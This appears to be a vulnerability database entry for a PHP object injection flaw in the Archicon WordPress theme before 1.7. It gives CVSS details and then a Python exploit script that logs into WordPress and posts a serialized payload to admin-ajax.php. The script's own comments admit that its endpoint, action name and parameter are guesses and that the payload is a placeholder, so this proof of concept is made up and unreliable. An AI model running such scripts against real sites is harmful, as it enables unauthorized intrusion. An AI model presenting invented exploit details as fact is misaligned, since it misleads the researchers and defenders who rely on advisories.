Deserialization of Untrusted Data vulnerability in Edge-Themes Archicon archicon allows Object Injection.This issue affects Archicon: from n/a through < 1.7.
CVSS Details
CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Configurations (Affected Products)
No configuration data available.
Edge-Themes Archicon < 1.7
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
import sys
# Usage: python poc.py <target_url> <wp_username> <wp_password>
def login(url, user, password):
# Step 1: Authenticate to get a low-privilege cookie
sess = requests.Session()
login_data = {
'log': user,
'pwd': password,
'redirect_to': url + '/wp-admin/',
'wp-submit': 'Log In'
}
resp = sess.post(url + '/wp-login.php', data=login_data)
if 'wp-admin' in resp.url:
print("[+] Login successful")
return sess
else:
print("[-] Login failed")
sys.exit(1)
def exploit(session, url):
# Step 2: Send payload triggering deserialization
# Note: The specific endpoint and parameter depend on the theme's vulnerable code.
# This is a generic example assuming 'archicon_data' parameter.
# PHP Object Injection Payload (Generic)
# Attacker needs to construct a specific POP chain for this environment.
payload = 'O:1:"A":0:{}'
target_endpoint = url + '/wp-admin/admin-ajax.php'
data = {
'action': 'archicon_vulnerable_action',
'archicon_data': payload
}
try:
print(f"[*] Sending payload to {target_endpoint}")
response = session.post(target_endpoint, data=data)
if response.status_code == 200:
print("[+] Payload sent. Check server for impact.")
else:
print(f"[-] Unexpected status code: {response.status_code}")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) != 4:
print("Usage: python3 poc.py <url> <user> <pass>")
sys.exit(1)
target = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
session = login(target, username, password)
exploit(session, target)